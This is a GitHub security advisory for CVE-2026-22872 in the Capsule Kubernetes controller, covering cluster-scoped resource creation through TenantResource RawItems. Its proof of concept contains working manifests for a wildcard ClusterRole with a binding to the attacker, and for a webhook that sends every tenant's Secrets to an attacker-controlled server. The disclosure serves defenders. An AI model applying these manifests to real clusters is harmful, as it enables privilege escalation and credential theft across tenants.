GHSA-QJJM-7J9W-PW72
Vulnerability from github – Published: 2026-05-28 17:02 – Updated: 2026-06-09 10:50TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability
Summary
The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.
Details
Vulnerability Location
File: internal/controllers/resources/processor.go
Function: HandleSection()
Lines: 247-285
Core Issues
-
Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole
yaml # ClusterRoleBinding: capsule-manager-rolebinding roleRef: kind: ClusterRole name: cluster-admin -
Missing Resource Scope Validation: Although the code calls
obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field -
Missing Resource Type Validation: No check for whether resources are cluster-scoped
Vulnerable Code Analysis
// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
template := string(item.Raw)
t := fasttemplate.New(template, "{{ ", " }}")
tmplString := t.ExecuteString(map[string]interface{}{
"tenant.name": tnt.Name,
"namespace": ns.Name,
})
obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}
// Issue 1: Accepts any resource type, including cluster-scoped resources
if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
[]byte(tmplString), nil, &obj); decodeErr != nil {
log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, decodeErr)
continue
}
// Issue 2: For cluster-scoped resources, this setting is ignored by API
obj.SetNamespace(ns.Name)
// Issue 3: Controller creates with cluster-admin privileges, no scope check
if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
log.Info("unable to sync rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, rawErr)
}
}
Attack Chain
Tenant Owner (bob) - Has TenantResource creation permission
↓
Creates TenantResource containing cluster-scoped resources
↓
Capsule Controller (cluster-admin) processes RawItems
↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
↓
Cross-tenant privilege escalation / Cluster-level attacks
PoC
Environment Setup
Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)
Step 1: Verify Capsule Controller Privileges
kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml
Confirm output contains:
roleRef:
kind: ClusterRole
name: cluster-admin # Controller has full cluster management privileges
Step 2: Install Capsule and Create Test Tenant
Complete Capsule installation and tenant creation following previous environment setup steps.
Step 3: Verify bob's Permission Restrictions
Verify bob can create TenantResource:
kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1
Actual output:
yes
Verify bob cannot create ClusterRole:
kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev
Actual output:
Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'
no
Verify bob cannot create ValidatingWebhook:
kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev
Actual output:
Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'
no
Attack Vector 1: Creating Malicious ClusterRole
Step 4: Create TenantResource Containing ClusterRole
Create file attack-clusterrole.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-clusterrole
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Apply configuration as bob user (critical - must specify executor):
kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev
Actual output:
tenantresource.capsule.clastix.io/create-clusterrole created
Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.
Step 5: Verify ClusterRole Creation
kubectl get clusterrole malicious-clusterrole
Actual output:
NAME CREATED AT
malicious-clusterrole 2026-01-05T16:10:02Z
View details:
kubectl get clusterrole malicious-clusterrole -o yaml
Key output:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
annotations:
capsule.clastix.io/tenant: tenant-b
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.
Step 6: Exploit ClusterRole for Cross-Tenant Attack
Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: bob-cluster-admin
subjects:
- kind: User
name: bob
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: malicious-clusterrole
apiGroup: rbac.authorization.k8s.io
After applying, bob will have full cluster management privileges and can access resources of all tenants.
Attack Vector 2: Creating Malicious ValidatingWebhook
Step 7: Create TenantResource Containing Webhook
Create file attack-webhook.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-webhook
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: malicious-webhook
webhooks:
- name: malicious.webhook.com
clientConfig:
url: "https://attacker-controlled-server.com/webhook"
rules:
- operations: ["CREATE", "UPDATE"]
apiGroups: [""]
apiVersions: ["v1"]
resources: ["secrets"]
admissionReviewVersions: ["v1"]
sideEffects: None
failurePolicy: Ignore
Apply configuration as bob user:
kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev
Actual output:
tenantresource.capsule.clastix.io/create-webhook created
Step 8: Verify Webhook Creation
kubectl get validatingwebhookconfiguration malicious-webhook
Actual output:
NAME WEBHOOKS AGE
malicious-webhook 1 5s
Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.
Step 9: Exploit Webhook to Steal Sensitive Data
At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:
- Steal Secret data from all tenants (database passwords, API keys, etc.)
- Modify Secret contents
- Deny legitimate Secret creation requests, achieving DoS attacks
Impact
Affected Scope
This vulnerability affects all Capsule deployments with the following prerequisites: 1. Capsule Controller runs with cluster-admin privileges (default configuration) 2. Tenant Owner has permission to create TenantResource
Security Impact
- Cross-Tenant Privilege Escalation
- Create ClusterRole to gain cluster-level privileges
- Break tenant isolation boundaries
-
Access all resources of other tenants
-
Large-Scale Sensitive Data Theft
- Intercept all Secret creation/update requests through malicious Webhook
- Steal passwords, API keys, certificates, etc. across the entire cluster
-
Real-time monitoring of all tenant sensitive operations
-
Cluster-Level Denial of Service
- Deny all API requests through Webhook
- Make the entire cluster unavailable
-
Impact all tenants
-
Cluster Pollution
- Create malicious CRDs
- Modify StorageClass
-
Impact cluster stability
-
Persistent Backdoor
- Created cluster-scoped resources persist
- Even if TenantResource is deleted, ClusterRole and other resources remain
- Difficult to detect and remove
Limiting Factors
- Requires Tenant Owner privileges
- Requires Capsule Controller running with cluster-admin privileges (default configuration)
- Some clusters may have additional admission controllers blocking malicious resources
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcapsule/capsule"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22872"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T17:02:55Z",
"nvd_published_at": "2026-06-01T19:16:21Z",
"severity": "MODERATE"
},
"details": "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller\u0027s ServiceAccount is bound to the cluster-admin ClusterRole\n ```yaml\n # ClusterRoleBinding: capsule-manager-rolebinding\n roleRef:\n kind: ClusterRole\n name: cluster-admin\n ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n template := string(item.Raw)\n\n t := fasttemplate.New(template, \"{{ \", \" }}\")\n tmplString := t.ExecuteString(map[string]interface{}{\n \"tenant.name\": tnt.Name,\n \"namespace\": ns.Name,\n })\n\n obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n // Issue 1: Accepts any resource type, including cluster-scoped resources\n if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, decodeErr)\n continue\n }\n\n // Issue 2: For cluster-scoped resources, this setting is ignored by API\n obj.SetNamespace(ns.Name)\n\n // Issue 3: Controller creates with cluster-admin privileges, no scope check\n if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n log.Info(\"unable to sync rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, rawErr)\n }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n \u2193\nCreates TenantResource containing cluster-scoped resources\n \u2193\nCapsule Controller (cluster-admin) processes RawItems\n \u2193\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n \u2193\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n \u2193\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n kind: ClusterRole\n name: cluster-admin # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob\u0027s Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027clusterroles\u0027 is not namespace scoped in group \u0027rbac.authorization.k8s.io\u0027\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027validatingwebhookconfigurations\u0027 is not namespace scoped in group \u0027admissionregistration.k8s.io\u0027\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: create-clusterrole\n namespace: tenant-b-ns1\nspec:\n resyncPeriod: 60s\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: tenant-b\n rawItems:\n - apiVersion: rbac.authorization.k8s.io/v1\n kind: ClusterRole\n metadata:\n name: malicious-clusterrole\n rules:\n - apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME CREATED AT\nmalicious-clusterrole 2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n annotations:\n capsule.clastix.io/tenant: tenant-b\n name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: bob-cluster-admin\nsubjects:\n- kind: User\n name: bob\n apiGroup: rbac.authorization.k8s.io\nroleRef:\n kind: ClusterRole\n name: malicious-clusterrole\n apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: create-webhook\n namespace: tenant-b-ns1\nspec:\n resyncPeriod: 60s\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: tenant-b\n rawItems:\n - apiVersion: admissionregistration.k8s.io/v1\n kind: ValidatingWebhookConfiguration\n metadata:\n name: malicious-webhook\n webhooks:\n - name: malicious.webhook.com\n clientConfig:\n url: \"https://attacker-controlled-server.com/webhook\"\n rules:\n - operations: [\"CREATE\", \"UPDATE\"]\n apiGroups: [\"\"]\n apiVersions: [\"v1\"]\n resources: [\"secrets\"]\n admissionReviewVersions: [\"v1\"]\n sideEffects: None\n failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME WEBHOOKS AGE\nmalicious-webhook 1 5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n - Create ClusterRole to gain cluster-level privileges\n - Break tenant isolation boundaries\n - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n - Intercept all Secret creation/update requests through malicious Webhook\n - Steal passwords, API keys, certificates, etc. across the entire cluster\n - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n - Deny all API requests through Webhook\n - Make the entire cluster unavailable\n - Impact all tenants\n\n4. **Cluster Pollution**\n - Create malicious CRDs\n - Modify StorageClass\n - Impact cluster stability\n\n5. **Persistent Backdoor**\n - Created cluster-scoped resources persist\n - Even if TenantResource is deleted, ClusterRole and other resources remain\n - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
"id": "GHSA-qjjm-7j9w-pw72",
"modified": "2026-06-09T10:50:44Z",
"published": "2026-05-28T17:02:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22872"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectcapsule/capsule"
},
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
}
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| Author | Source | Type | Date | Other |
|---|
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